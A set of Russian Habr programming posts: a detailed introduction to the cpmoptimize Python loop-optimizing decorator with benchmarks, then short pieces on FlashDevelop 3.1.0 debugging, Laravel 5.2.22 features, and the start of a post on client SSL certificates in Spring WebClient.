Если десятки лет назад программисту потребовалось бы умножить переменную в программе на 4, он использовал бы не операцию умножения, а её более быстрый эквивалент — битовый сдвиг влево на 2. Теперь компиляторы сами умеют делать подобные оптимизации. В борьбе за сокращение времени разработки появились языки с высоким уровнем абстракции, новые удобные технологии и библиотеки. При написании программ всё большую часть своего времени разработчики тратят на объяснение компьютеру того, *что* должна сделать программа (умножить число на 4), а не того, *как* ей это сделать эффективно (использовать битовый сдвиг). Таким образом, задача создания эффективного кода частично переносится на компиляторы и интерпретаторы.
Сейчас компиляторы умеют заменять различные операции на более эффективные, предсказывать значения выражений, удалять или менять местами части кода. Но компиляторы ещё не заменяют сам *алгоритм* вычислений, написанный человеком, на асимптотически более эффективный.
Реализацию описываемого метода, представленную в оригинальной статье, проблематично использовать в реальных программах, так как для этого придётся переписать часть кода на специальный язык, а для взаимодействия с этим кодом придётся запускать сторонний скрипт с интерпретатором. Однако, автор статьи предлагает использовать свои наработки на практике в оптимизирующих компиляторах. Я попытался реализовать данный метод для оптимизации программ на Python в виде, действительно пригодном для использования в реальных проектах.
Если использовать написанную мной библиотеку, для применения оптимизации достаточно будет дописать перед функцией, которую нужно ускорить, одну строчку с применением специального декоратора. Этот декоратор самостоятельно оптимизирует циклы, если это возможно, и ни при каких обстоятельствах не «ломает» программу.
### Примеры использования
Рассмотрим ряд задач, в которых может пригодиться наш декоратор.
#### Пример №1. Длинные циклы
Пусть у нас есть некоторая последовательность, соответствующая правилу, изображённому на схеме, и нам нужно вычислить её *n*-ый член:
В таком случае интуитивно понятно, как появляется очередной член последовательности, однако требуется время, чтобы придумать и доказать соответствующую ему математическую формулу. Тем не менее, мы можем написать тривиальный алгоритм, описывающий наше правило, и предложить компьютеру самому придумать, как быстро считать ответ на нашу задачу:
```
from cpmoptimize import cpmoptimize, xrange
@cpmoptimize()
def f(n):
step1 = 1
step2 = 1
res = 1
for i in xrange(n):
res += step2
step2 += step1
step1 += 1
return res
```
Интересно, что если запустить эту функцию для , внутри будет запущен цикл с  итераций. Без оптимизации такая функция не закончила бы работать ни за какой мыслимый промежуток времени, но с декоратором она выполняется меньше секунды, возвращая при этом правильный результат.
#### Пример №2. Числа Фибоначчи
Для быстрого вычисления *n*-го числа Фибоначчи есть быстрый, но нетривиальный [алгоритм](http://e-maxx.ru/algo/fibonacci_numbers#8), основанный на той же идее о возведении матриц в степень. Опытный разработчик может реализовать его за несколько минут. Если коду, где производятся подобные вычисления, не нужно работать быстро (например, если необходимо однократно вычислить число Фибоначчи с номером, меньшим 10 тысяч), для экономии своего рабочего времени разработчик, скорее всего, решит сэкономить усилия и за несколько секунд написать решение «в лоб».
Если программа всё-таки должна работать быстро, либо придётся приложить усилия и написать сложный алгоритм, либо же можно воспользоваться методом автоматической оптимизации, применив к функции наш декоратор. Если *n* достаточно велико, в обоих случаях производительность программ получится почти одинаковой, но во втором случае разработчик потратит меньше своего рабочего времени.
Вы можете сравнить время работы описанных методов ниже по таблицам и графикам для малых и для больших *n*.
Справедливости ради следует отметить, что для вычисления чисел Фибоначчи есть ещё один алгоритм, известный как [fast doubling](http://nayuki.eigenstate.org/page/fast-fibonacci-algorithms). Он несколько выигрывает предыдущие алгоритмы по времени, так как в нём исключены лишние сложения и умножения чисел. Время вычислений через этот алгоритм также представлено на графиках для сравнения.
**Графики**
**Результаты измерений времени**
```
Function "fib":
(*) Testcase "big":
+--------+----------+--------------+--------------+--------------+-------+
| arg | naive, s | cpm, s | matrices, s | fast dbl, s | match |
+--------+----------+--------------+--------------+--------------+-------+
| 0 | 0.00 | 0.00 | 0.00 | 0.00 | True |
| 20000 | 0.01 | 0.00 (2.5x) | 0.00 (3.0x) | 0.00 (5.1x) | True |
| 40000 | 0.03 | 0.01 (5.7x) | 0.00 (1.8x) | 0.00 (4.8x) | True |
| 60000 | 0.06 | 0.01 (7.9x) | 0.01 (1.4x) | 0.00 (4.8x) | True |
| 80000 | 0.11 | 0.01 (9.4x) | 0.01 (1.3x) | 0.00 (4.6x) | True |
| 100000 | 0.16 | 0.01 (11.6x) | 0.01 (1.1x) | 0.00 (4.5x) | True |
| 120000 | 0.23 | 0.02 (11.8x) | 0.02 (1.2x) | 0.00 (4.7x) | True |
| 140000 | 0.32 | 0.02 (14.7x) | 0.02 (1.1x) | 0.00 (4.1x) | True |
| 160000 | 0.40 | 0.03 (13.1x) | 0.03 (1.2x) | 0.01 (4.6x) | True |
| 180000 | 0.51 | 0.03 (14.7x) | 0.03 (1.1x) | 0.01 (4.4x) | True |
| 200000 | 0.62 | 0.04 (16.6x) | 0.03 (1.1x) | 0.01 (4.4x) | True |
| 220000 | 0.75 | 0.05 (16.1x) | 0.04 (1.1x) | 0.01 (4.9x) | True |
| 240000 | 0.89 | 0.05 (17.1x) | 0.05 (1.0x) | 0.01 (4.7x) | True |
| 260000 | 1.04 | 0.06 (18.1x) | 0.06 (1.0x) | 0.01 (4.5x) | True |
| 280000 | 1.20 | 0.06 (20.2x) | 0.06 (1.0x) | 0.01 (4.2x) | True |
| 300000 | 1.38 | 0.07 (19.4x) | 0.07 (1.1x) | 0.02 (4.4x) | True |
+--------+----------+--------------+--------------+--------------+-------+
```
На практике мы можем встретится с более сложной ситуацией, если последовательность чисел вместо известной рекуррентной формулы:
Задаётся несколько усложнённой формулой, например, такой:
В таком случае мы не сможем найти реализацию вышеописанных алгоритмов в Интернете, а на то, чтобы вручную придумать алгоритм с возведением матриц в степень, уйдёт существенное время. Тем не менее, мы можем написать решение «в лоб» и применить декоратор, тогда компьютер придумает быстрый алгоритм за нас:
```
from cpmoptimize import cpmoptimize
@cpmoptimize()
def f(n):
prev3 = 0
prev2 = 1
prev1 = 1
for i in xrange(3, n + 3):
cur = 7 * (2 * prev1 + 3 * prev2) + 4 * prev3 + 5 * i + 6
prev3, prev2, prev1 = prev2, prev1, cur
return prev3
```
#### Пример №3. Сумма геометрической прогрессии
Пусть нам необходимо вычислить сумму *count* членов геометрической прогрессии, для которой задан первый член *start* и знаменатель *coeff*. В данной задаче декоратор снова способен оптимизировать наше тривиальное решение:
```
from cpmoptimize import cpmoptimize
@cpmoptimize()
def geom_sum(start, coeff, count):
res = 0
elem = start
for i in xrange(count):
res += elem
elem *= coeff
return res
```
**График**
#### Пример №4. Возведение в степень
Пусть нам необходимо возвести число *a* в неотрицательную целую степень *n*. В такой задаче декоратор фактически будет заменять тривиальное решение на алгоритм [бинарного возведения в степень](http://e-maxx.ru/algo/binary_pow):
```
from cpmoptimize import cpmoptimize
@cpmoptimize()
def power(a, n):
res = 1
for i in xrange(n):
res *= a
return res
```
**График**
### Ссылки для скачивания
Установить библиотеку можно с помощью [pip](https://pip.readthedocs.org/en/latest/):
```
sudo pip install cpmoptimize
```
Исходный код библиотеки с примерами доступен на [github](http://goo.gl/cMi97F) под свободной лицензией MIT.
**UPD.** Пакет [опубликован](https://pypi.python.org/pypi/cpmoptimize) в Python Package Index.
Примеры применения оптимизации находятся в папке "*tests/*". Каждый пример состоит из функции, представляющей решение «в лоб», её оптимизированного варианта, а также функций, представляющих известные сложные, но быстрые решения данной задачи. Эти функции помещены в скрипты, которые запускают их на различных группах тестов, замеряют время их работы и строят соответствующие таблицы. Если установлена библиотека [matplotlib](http://matplotlib.org/), скрипты также будут строить графики зависимости времени работы функций от входных данных (обычные или логарифмические) и сохранять их в папку "*tests/plots/*".
### Описание библиотеки
При создании библиотеки я воспользовался тем, что байт-код программы, который создаёт интерпретатор Python, на этапе выполнения можно анализировать и изменять без вмешательства в интерпретатор, что даёт широкие возможности по расширению языка (см., например, [реализация конструкции goto](http://habrahabr.ru/post/140356/)). Преимущества описываемого метода обычно проявляются при использовании длинной арифметики, которая также встроена в Python.
По этим причинам реализация описываемой оптимизации в Python стала для меня более интересной задачей, хотя, конечно, её применение в компиляторах C++ позволило бы создавать ещё более быстрые программы. К тому же, оптимизированный декоратором код на Python, как правило, обгоняет код «в лоб» на C++ благодаря более хорошей асимптотике.
При модификации байт-кода я использовал модуль [byteplay](https://pypi.python.org/pypi/byteplay/0.2), предоставляющий удобный интерфейс для дизассемблирования и ассемблирования байт-кода. К сожалению, модуль ещё не был портирован на Python 3, поэтому весь проект я реализовывал на Python 2.7.
Название библиотеки ***cpmoptimize*** является сокращением от слов *"**c**ompute the **p**ower of a **m**atrix and **optimize**"*. Объём статьи не позволяет подробно рассказать о процессе анализа и модификации байт-кода, однако я постараюсь подробно описать, какие возможности предоставляет данная библиотека и на каких принципах основана её работа.
#### Собственный xrange
cpmoptimize.**xrange**(*stop*)
cpmoptimize.**xrange**(*start*, *stop*[, *step*])
Встроенный тип *xrange* в Python 2 в целях оптимизации не поддерживает длинные целые типа *long* в качестве аргументов:
```
>>> xrange(10 ** 1000)
Traceback (most recent call last):
File "", line 1, in
OverflowError: Python int too large to convert to C long
```
Так как при использовании нашей библиотеки циклы с количеством операций порядка  могут выполняться менее, чем за секунду, и стать в программе обычным делом, библиотека предоставляет собственную реализацию типа *xrange* на чистом Python (внутри библиотеки она называется *CPMRange*). Она поддерживает все возможности обычного *xrange* и, кроме того, аргументы типа *long*. Такой код не приведёт к ошибкам и быстро вычислит правильный результат:
```
from cpmoptimize import cpmoptimize, xrange
@cpmoptimize()
def f():
res = 0
for i in xrange(10 ** 1000):
res += 3
return res
print f()
```
Тем не менее, если в вашем случае количество итераций в циклах невелико, вы можете продолжать использовать вместе с декоратором встроенный *xrange*.
#### Функция cpmoptimize
cpmoptimize.**cpmoptimize**(*strict*=False, *iters\_limit*=5000, *types*=(int, long), *opt\_min\_rows*=True, *opt\_clear\_stack*=True)
##### Применение декоратора
Функция *cpmoptimize* принимает параметры производимой оптимизации и возвращает декоратор, учитывающий эти параметры, который и нужно применить к оптимизируемой функции. Это можно сделать, используя специальный синтаксис (с символом «собака») или без него:
```
from cpmoptimize import cpmoptimize
@cpmoptimize()
def f(n):
# Некоторый код
def naive_g(n):
# Некоторый код
smart_g = cpmoptimize()(naive_g)
```
Перед внесением изменений в байт-код исходная функция копируется. Таким образом, в коде выше функции *f* и *smart\_g* в итоге окажутся оптимизированными, а *naive\_g* — нет.
##### Поиск циклов for
Декоратор ищет в байт-коде функции стандартные циклы *for*, при этом циклы *while* и циклы *for* внутри генераторных и списковых выражений игнорируются. Вложенные циклы пока не поддерживаются (оптимизируется только самый внутренний цикл). Корректно обрабатываются конструкции *for-else*.
##### Допустимые типы
Декоратор не может оптимизировать цикл независимо от того, какие типы переменных используются в нём. Дело в том, что, например, Python позволяет определить тип, который при каждом умножении записывает строку в файл. В результате применения оптимизации количество сделанных в функции умножений могло бы измениться. Из-за этого количество строк в файле стало бы другим и оптимизация бы сломала программу.
Кроме того, при операциях с матрицами переменные складываются и умножаются неявным образом, потому типы переменных могут «перемешиваться». Если одна из констант или переменных имела бы тип *float*, те переменные, которые должны были бы после выполнения кода иметь тип *int*, могли бы тоже получить тип *float* (так как сложение *int* и *float* возвращает *float*). Такое поведение может вызвать ошибки в программе и также неприемлемо.
Чтобы избежать нежелательных побочных эффектов, декоратор оптимизирует цикл, только если все константы и переменные, используемые в нём, имеют *допустимый* тип. Изначально допустимыми типами являются *int* и *long*, а также унаследованные от них типы. Если одна из констант или переменных имеет тип *long*, те переменные, которые должны были бы после выполнения кода иметь тип *int*, могут тоже получить тип *long*. Однако, так как *int* и *long* в Python в достаточной степени взаимозаменяемы, это не должно приводить к ошибкам.
В случае, если вы хотите изменить набор допустимых типов (например, чтобы добавить поддержку *float*), вы должны передать кортеж из нужных типов в параметре ***types***. Типы, входящие в этот кортеж или унаследованные от типов, входящих в этот кортеж, будут считаться допустимыми. На деле проверка того, что какое-либо значение *value* имеет допустимый тип, будет осуществляться с помощью выражения *isinstance(value, types)*.
##### Условия оптимизации цикла
Каждый найденный цикл должен удовлетворять ряду условий. Часть из них проверяется уже при применении декоратора:
1. Тело цикла должно состоять только из инструкций присваивания, унарных и бинарных операций, которые могут быть скомпонованы в сложные выражения. Оно не может содержать условий, вызовов других функций, операторов *return* и *yield* и т. д..
2. От операндов может требоваться условие *предсказуемости*: на каждой итерации цикла их значение должно быть одним и тем же, причём оно не должно зависеть от результатов каких-либо вычислений на предыдущей итерации. При этом:
* Все операнды сложения и вычитания, а также операнд унарного минуса могут быть непредсказуемыми.
* Хотя бы один операнд умножения должен быть предсказуем (аналогично тому, что в оригинальном интерпретаторе поддерживалось только умножение на константу).
* Все операнды возведения в степень, операций деления и взятия остатка и побитовых операций должны быть предсказуемы.
3. Все константы, используемые в цикле, должны иметь допустимый тип.
Если эти условия выполняются, перед циклом устанавливается «ловушка», которая проверит другую часть условий, при этом оригинальный байт-код цикла не удаляется. Так как в Python используется динамическая типизация, следующие условия могут быть проверены только непосредственно перед запуском цикла:
1. Объект, по которому проходится цикл, должен иметь стандартный тип *xrange* или его аналог из данной библиотеки *cpmoptimize.xrange*. При этом медленная функция *range*, возвращающая список, не поддерживается.
2. Значения всех переменных, используемых в цикле, имеют допустимый тип.
Если «ловушка» заключила, что оптимизация приемлема, будут рассчитаны необходимые матрицы, а затем значения используемых переменных изменятся на новые. Если оптимизацию выполнить нельзя, будет запущен оригинальный байт-код цикла.
##### Выражения и вынос кода за цикл
Несмотря на то, что описываемый метод не поддерживает операции возведения в степень и «побитового И», следующий код будет оптимизирован:
```
@cpmoptimize()
def f(n, k):
res = 0
for i in xrange(n):
m = 3
res += ((k ** m) & 676) + i
return res
```
При анализе байт-кода декоратор сделает вывод, что значения переменных *k* и *m* в выражении *(k \*\* m) & 676* не зависят от того, на какой итерации цикла они используются, а значит не изменяется и значение всего выражения. Вычислять его на каждой итерации не нужно, достаточно вычислить это значение один раз. Поэтому соответствующие инструкции байт-кода можно вынести и исполнять их непосредственно перед запуском цикла, подставляя в цикле уже готовое значение. Код будет будто преобразован к следующему:
```
@cpmoptimize()
def f(n, k):
res = 0
m = 3
_const1 = (k ** m) & 676
for i in xrange(n):
res += _const1 + i
return res
```
Такая техника известна как *вынос инвариантного кода за цикл* (***loop-invariant code motion***). Обратите внимание, что вынесенные значения вычисляются каждый раз при запуске функции, так как они могут зависеть от меняющихся глобальных переменных или параметров функции (как *\_const1* в примере зависит от параметра *k*). Получившийся код теперь легко оптимизировать с помощью матриц.
Именно на этом этапе выполняется описанная выше проверка предсказуемости величин. Например, если бы один из операндов «побитового И» оказался бы непредсказуемым, эту операцию уже нельзя было бы вынести за цикл и оптимизация не могла бы быть применена.
Декоратор также частично поддерживает множественные присваивания. Если в них мало элементов, Python создаёт поддерживаемый декоратором байт-код без использования кортежей:
```
a, b = b, a + b
```
##### Порог iters\_limit
На графиках выше вы могли заметить, что при малом количестве итераций оптимизированный цикл может работать медленнее обычного, так как в таком случае всё равно требуется определённое время на конструирование матриц и проверку типов. В случаях, когда необходимо, чтобы функция работала как можно быстрее и при маленьком количестве итераций, можно явно задать порог параметром ***iters\_limit***. Тогда «ловушка» перед запуском оптимизации проверит, сколько итераций предстоит выполнить циклу, и отменит оптимизацию, если это число не превышает заданный порог.
Изначально порог установлен в 5000 итераций. Его нельзя установить ниже, чем в 2 итерации.
Понятно, что наиболее выгодным значением порога является точка пересечения на графике линий, соответствующих времени работы оптимизированного и исходного вариантов функции. Если установить порог именно таким, функция сможет выбирать наиболее быстрый в данном случае алгоритм (оптимизированный или исходный):
##### Флаг strict
В некоторых случаях оптимизация должна быть обязательна применена. Так, если в цикле  итераций, без оптимизации программа попросту зависнет. На этот случай предусмотрен параметр ***strict***. Изначально его значение равно *False*, но если его установить в *True*, то в случае, когда какой-либо из стандартных циклов *for* не был оптимизирован, будет возбуждено исключение.
Если то, что оптимизация неприменима, было обнаружено на этапе применения декоратора, сразу будет возбуждено исключение *cpmoptimize.recompiler.RecompilationError*. В примере в цикле умножаются две непредсказуемые переменные:
```
>>> from cpmoptimize import cpmoptimize
>>>
>>> @cpmoptimize(strict=True)
... def f(n, k):
... res = 0
... for i in xrange(n):
... res += i * res
... return res
...
Traceback (most recent call last):
File "", line 1, in
File "cpmoptimize/\_\_init\_\_.py", line 100, in upgrade\_func
index += analyze\_loop(settings, code, index) + 1
File "cpmoptimize/\_\_init\_\_.py", line 59, in analyze\_loop
raise err
cpmoptimize.recompiler.RecompileError: Multiplication of two unpredictable values is unsupported
```
Если то, что оптимизация неприменима, было обнаружено перед выполнением цикла (то есть если оказалось, что типы значений итератора или переменных не поддерживаются), будет возбуждено исключение *TypeError*:
```
>>> from cpmoptimize import cpmoptimize
>>>
>>> @cpmoptimize(strict=True)
... def f(iterable):
... res = 0
... for elem in iterable:
... res += elem
... return res
...
>>> f(xrange(30))
435
>>> f(range(30))
Traceback (most recent call last):
File "", line 1, in
File "", line 4, in f
File "cpmoptimize/hook.py", line 170, in exec\_loop
raise err
TypeError: Iterator in optimized loops must have type "xrange" instead of
```
##### Опции дополнительной оптимизации
Два флага *opt\_min\_rows* и *opt\_clear\_stack* отвечают за использование дополнительных методов оптимизации при конструировании матриц. Изначально они включены, возможность их отключения присутствует только в демонстрационных целях (благодаря ей можно сравнивать эффективность этих методов).
При выполнении оптимизированного кода большую часть времени занимает перемножение длинных чисел в некоторых ячейках генерируемых матриц. Сравнительно с этим трудоёмким процессом время, расходуемое на перемножение всех остальных ячеек, пренебрежимо мало.
В процессе перекомпиляции выражений декоратор создаёт промежуточные, *виртуальные* переменные, отвечающие за позиции стека интерпретатора. После сложных вычислений в них могут оставаться длинные числа, которые уже сохранены в каких-то других, реальных переменных. Хранить эти значения второй раз нам уже не нужно, однако они остаются в ячейках матрицы и существенно тормозят работу программы, так как при умножении матриц мы вынуждены лишний раз перемножать эти длинные числа. Опция ***opt\_clear\_stack*** отвечает за очистку таких переменных: если по окончании их использования присваивать им ноль, длинные значения в них исчезнут.
Эта опция особенно эффективна, когда программа оперирует очень большими числами. Исключение лишних перемножений таких чисел позволяет ускорить программу более, чем в два раза.
Опция ***opt\_min\_rows*** включает минимизацию размера квадратных матриц, которые мы перемножаем. Из матриц исключаются ряды, соответствующие неиспользуемым и предсказуемым переменным. Если не используется сама переменная цикла, исключаются и ряды, отвечающие за поддержание её правильного значения. Чтобы не нарушить работу программы, после цикла всем этим переменным будут присвоены правильные конечные значения. Кроме того, в оригинальной статье вектор переменных дополнялся элементом, равным единице. Если ряд, соответствующий этому элементу, окажется неиспользуемым, он тоже будет исключён.
Эта опция может несколько ускорить программу для не очень больших *n*, когда числа ещё не стали очень длинными и размеры матрицы вносят ощутимый вклад во время работы программы.
Если применять обе опции одновременно, то виртуальные переменные начинают иметь предсказуемое (нулевое) значение, и *opt\_min\_rows* работает ещё эффективнее. Другими словами, эффективность обоих опций вместе больше, чем эффективность каждой из них по отдельности.
График ниже демонстрирует время работы программы для вычисления чисел Фибоначчи при отключении тех или иных опций (здесь "-m" — программа с отключённой *opt\_min\_rows*, "-c" — программа с отключённой *opt\_clear\_stack*, "-mc" — программа, где отключены обе опции сразу):
### Что ещё можно реализовать?
#### Изменение набора операций
Будем говорить, что наш метод *поддерживает пару операций* , если:
* Мы можем выполнять операцию  для двух переменных либо для переменной и константы;
* Мы можем выполнять операцию  для переменной и константы.
Нам уже известно, что метод поддерживает пару операций . Действительно:
* Мы можем складывать две переменные либо переменную и константу;
* Мы можем умножать переменную на константу.
Именно эти операции на данный момент реализованы в оптимизирующем декораторе. Однако, оказывается, что описываемый метод поддерживает и другие пары операций, в том числе  (пару из умножения и операции возведения в степень).
Например, наша задача может состоять в том, чтобы найти *n*-е число в последовательности, задаваемой рекуррентным соотношением:
Если бы наш декоратор поддерживал пару операций , мы могли бы умножать переменную на другую переменную (но уже не могли бы складывать переменные). В таком случае следующее тривиальное решение этой задачи могло бы быть ускорено декоратором:
```
def f(n):
a = 1
b = 1
for i in xrange(n):
a, b = b, a * b
return a
```
Можно доказать, что наш метод также поддерживает пары операций ,  и  (здесь *and* — побитовое И, *or* — побитовое ИЛИ). В случае положительных чисел можно работать и с парами операций  и .
Для реализации поддержки операций  можно, например, оперировать не значениями переменных, а логарифмами этих значений. Тогда умножение переменных заменится сложением логарифмов, а возведение переменной в константную степень — умножением логарифма на константу. Таким образом мы сведём задачу к уже реализованному случаю с операциями .
Объяснение того, как реализовать поддержку остальных указанных пар операций, содержит некоторое количество математичеких выкладок и достойно отдельной статьи. На данный момент лишь стоит упомянуть, что пары операции в определённой мере взаимозаменяемы.
#### Вложенные циклы
Доработав алгоритм анализа циклов в байт-коде, можно реализовать поддержку вложенных циклов, чтобы оптимизировать код, подобный такому:
```
def f():
res = 0
for i in xrange(10 ** 50):
for j in xrange(10 ** 100):
res += i * 2 + j
return res
```
#### Предсказуемые условия
В следующем коде условие в теле цикла является предсказуемым. Можно ещё перед запуском цикла выяснить, истинно ли оно, и убрать невыполняющуюся ветку кода. Получившийся после этого код можно будет оптимизировать:
```
def f(mode):
res = 0
for i in xrange(10 ** 50):
if mode == 1:
res += 3
else:
res += 5
return res
```
### Выводы
Интерпретатор Python, вообще говоря, создаёт предсказуемый байт-код, который почти в точности соответствует тому исходному коду, который вы написали. Стандартно он не производит ни встраивания функций, ни разворачивания циклов, ни каких-либо других оптимизаций, требующих анализа поведения программы. Только с версии 2.6 CPython научился сворачивать константные арифметические выражения, но и эта возможность работает не всегда эффективно.
У этой ситуации есть несколько причин. Во-первых, анализ кода в общем случае в Python затруднителен, ведь проследить за типами данных можно только во время выполнения программы (что мы и делаем в нашем случае). Во-вторых, оптимизации, как правило, всё равно не позволяют Python достичь скорости чисто компилируемых языков, поэтому в случае, когда программе нужно работать очень быстро, предлагается просто писать её на более низкоуровневом языке.
Тем не менее, Python — гибкий язык, позволяющий при необходимости реализовать многие методы оптимизации самостоятельно без вмешательства в интерпретатор. Данная библиотека, а также другие проекты, перечисленные ниже, хорошо это иллюстрируют эту возможность.
**UPD.** Описание проекта теперь также доступно в виде [презентации](http://www.slideshare.net/hx0/cpmoptimize) на SlideShare.
### Смотрите также
Ниже я приведу ссылки на несколько других интересных проектов по ускорению выполнения программ на Python:
1. [PyPy](http://pypy.org/) — альтернативный интерпретатор Python с поддержкой [JIT-компиляции](https://ru.wikipedia.org/wiki/JIT-%D0%BA%D0%BE%D0%BC%D0%BF%D0%B8%D0%BB%D1%8F%D1%86%D0%B8%D1%8F), позволяющий, как правило, выполнять программы на Python существенно быстрее. Сам PyPy написан на языке RPython, для которого специально разработан транслятор в код на языке C.
2. [Pyston](http://www.opennet.ru/opennews/art.shtml?num=40571) — новый альтернативный интерпретатор Python, транслирующий код в промежуточное представление [LLVM](https://ru.wikipedia.org/wiki/Low_Level_Virtual_Machine), из которого он может быть оптимизирован средствами LLVM и выполнен с использованием JIT-компиляции.
3. [Nuitka](http://nuitka.net/) — компилятор Python. В отличие от упаковщика py2exe, который создаёт \*.exe-файл, содержащий скрипт, интерпретатор и необходимые библиотеки, Nuitka действительно компилирует программы на Python в готовые исполняемые файлы.
4. [WPython](https://code.google.com/p/wpython2/) — модифицированный интерпретатор CPython 2.6.4 с более эффективной моделью байт-кода, умной системой сворачивания констант и переработанной виртуальной машиной.
5. [astoptimizer](https://bitbucket.org/haypo/astoptimizer) — библиотека, применяющая известные методы оптимизации перед компиляцией в байт-код путём анализа и изменения [абстрактного синтаксического дерева](https://ru.wikipedia.org/wiki/%D0%90%D0%B1%D1%81%D1%82%D1%80%D0%B0%D0%BA%D1%82%D0%BD%D0%BE%D0%B5_%D1%81%D0%B8%D0%BD%D1%82%D0%B0%D0%BA%D1%81%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B5_%D0%B4%D0%B5%D1%80%D0%B5%D0%B2%D0%BE).
6. [promise](https://pypi.python.org/pypi/promise/) — библиотека, оптимизирующая байт-код, полагаясь на так называемые «обещания». Если программист обещает не делать определённого рода операций в своём коде, становится возможным применить те оптимизации, которые в общем случае применить было нельзя.
7. [foldy.py](http://forums.synapse-wireless.com/showthread.php?t=4655) — библиотека, анализирующая байт-код и выполняющая *сворачивание констант* (***constant folding***), то есть замену константных выражений на их значения, а также удаление неиспользуемых функций.
8. [Декоратор](http://code.activestate.com/recipes/277940-decorator-for-bindingconstants-at-compile-time/), анализирующий байт-код и выполняющий *встраивание констант* (***constant binding***), то есть заменяющий поиск значения постоянной глобальной переменной по её имени на непосредственную загрузку соответствующей константы.
**UPD #1.** Пользователь [magik](https://habrahabr.ru/users/magik/) предложил ещё несколько ссылок:
* [NumPy](http://www.numpy.org/) — библиотека (с модулями для Python, написанными на Си), способная быстро производить вычисления с большими массивами и матрицами, а также использовать обширный набор высокоуровневых математических функций.
* [Numba](http://numba.pydata.org/) — библиотека, ускоряющая программы, содержащие математические вычисления и операции с массивами. Оптимизация происходит за счёт JIT-компиляции (при использовании LLVM), которая преобразует код в родные инструкции CPU и GPU, а также за счёт некоторых других классических методов.
* [Numexpr](https://github.com/pydata/numexpr) — библиотека, ускоряющая вычисления математических выражений через анализ и изменение соответствующего байт-кода. Выражения могут разбиваться на несколько частей, некоторые из которых могут пересчитываться реже, чем остальные, ускоряться за счёт распараллеливания кода и т. д..
* [Cython](http://cython.org/) — оптимизирующий компилятор надмножества языка Python, позволяющий использовать в программе статическую типизацию и тесно взаимодействовать с кодом на C и C++.
* [Статья с обзором](http://www.phi-node.com/2013/01/just-in-time-compilers-for-number.html) библиотек, позволяющих ускорить разнообразные вычисления в Python за счёт JIT-компиляции.
**UPD #2.** Пользователь [DuneRat](https://habrahabr.ru/users/dunerat/) указал на ещё несколько проектов по компиляции Python: [shedskin](https://code.google.com/p/shedskin/), [hope](https://github.com/cosmo-ethz/hope), [pythran](https://github.com/serge-sans-paille/pythran). | https://habr.com/ru/post/236689/ | null | ru | null |
# Обзор FlashDevelop 3.1.0 RTM
Вышла новая версия FlashDevelop, замечательного редактора кода для as3 и haXe. Самое приятное в новой версии это то, что появилась возможность использовать Debuger и Profiler.
[Скачать FlashDevlop 3.1.0 RTM](http://www.flashdevelop.org/downloads/releases/FlashDevelop-3.1.0-RTM.exe)
[Изменения в новой версии](http://www.flashdevelop.org/community/viewtopic.php?f=11&t=6415)
Настраиваем дебагер и профайлер.
— [Скачиваем архив](http://flashdevelop.org/downloads/builds/FD_FlexDBG_0.9.9_Profiler_0.1_Flex3.zip)
— открываем папку FD с user files (Tools > Application Files...)
— закрываем FD
— распаковываем в папку архив
— открываем FD
— если дебаггер не работает, нужно прописать настройках проекта: FlexDbg > StardDebuggerOnTestMovie = true
Для того чтобы вывести сообщение в Output panel, нужно использовать стандартный `trace` метод.
Панель locals показывает все используемые объекты, их значения, свойства
Использование Breakpoints
Панель Stack, показывает список методов, после которых вызывается данная функция
Данные возможности пока находятся в бета-тесте, но их вполне уже можно использовать. | https://habr.com/ru/post/91883/ | null | ru | null |
# Три мелкие но полезные плюшки в Laravel 5.2.22
Совсем недавно состоялся релиз минорной версии 5.2.22 нашего любимого фреймворка Laravel. Наряду с некоторыми небольшими исправлениями, есть несколько новых функций, давайте посмотрим на них.
##### 1. Проверка уникальности массива
Новое правило для проверки, имеет ли массив только уникальные значения:
```
Validator::make(
['products' =>
['product_id' => 1, 'quantity' => 5],
['product_id' => 1, 'quantity' => 99],
['product_id' => 2, 'quantity' => 1],
],
['products.*.product_id' => 'distinct']
);
```
Эта валидация не пройдет, потому что есть несколько products с одинаковым значением product\_id.
##### 2. fullUrlWithQuery()
Многим, наверное, приходилось формировать урл на основе текущего, с добавлением GET параметров. Теперь все просто: берете текущий запрос и добавляете массив к нему. Вот пример — скажем, ваш текущий URL является domain.com/catalog из него надо получить новый URL, типа domain.com/catalog?category=1ℴ=price:
```
$request->fullUrlWithQuery(['category' => '1', 'order' => 'price']);
```
Вуаля!
##### 3. Blade: continue и break
Теперь в цикле [foreach](https://habrahabr.ru/users/foreach/), можно прерваться или продолжить в зависимости от условия:
```
@foreach ($products as $product)
@continue($product->category_id == 999)
{{ $product->name }}: **{{ $product->price }}**
@break($product->price >= 199)
@endforeach
```
На сегодня все!
Всем удачи в проектах. Да пребудет с вами сила Laravel. | https://habr.com/ru/post/278557/ | null | ru | null |
# История одного SSL рукопожатия
Привет, Хабр!
Недавно мне пришлось прикручивать SSL с двухсторонней аутентификацией (mutual authentication) к Spring Reactive Webclient. Казалось бы, дело нехитрое, но вылилось оно в блуждание в исходниках JDK с неожиданным финалом. Опыта набралось на целую статью, которая может оказаться полезной инженерам в повседневных задачах или при подготовке к собеседованию.
Постановка задачи
-----------------
*Есть REST-сервис на стороне заказчика, который работает через HTTPS.
Необходимо обращаться к нему из клиентского Java приложения.*
Первое, что мне выдали в этом квесте, это 2 файла с расширением .pem — клиентский сертификат и приватный ключ. Я проверила их работоспособность с помощью Postman: указала пути к ним в настройках и, пульнув запрос, убедилась что сервер отвечает 200 OK и осмысленный response body. Отдельно проверила, что без клиентского сертификата сервер возвращает HTTP статус 500 и короткое сообщение в теле респонса, о том, что произошёл «Security exception» с определённым кодом.
Далее следовало правильно сконфигурировать клиентское Java приложение.
Для REST-запросов я использовала Spring Reactive WebClient с неблокирующим вводом-выводом.
В документации есть [пример](https://docs.spring.io/spring/docs/5.0.7.RELEASE/spring-framework-reference/web-reactive.html#webflux-client-builder), как его можно кастомизировать, прокинув ему объект SslContext, который как раз хранит сертификаты и приватные ключи.
Моя конфигурация в упрощённом варианте была практически копипастой из документации:
```
SslContext sslContext = SslContextBuilder
.forClient()
.keyManager(…) /* Есть оверлоад, который принимает .pem файлы сертификата и приватного ключа (и, опционально, пароль). PEM файлы должны быть в определенной кодировке. Проверить/переконвертировать можно с помощью openssl утилиты.
Альтернативно можно передать и KeyManagerFactory. */
.build();
ClientHttpConnector connector = new ReactorClientHttpConnector(
builder -> builder.sslContext(sslContext));
WebClient webClient = WebClient.builder()
.clientConnector(connector).build();
```
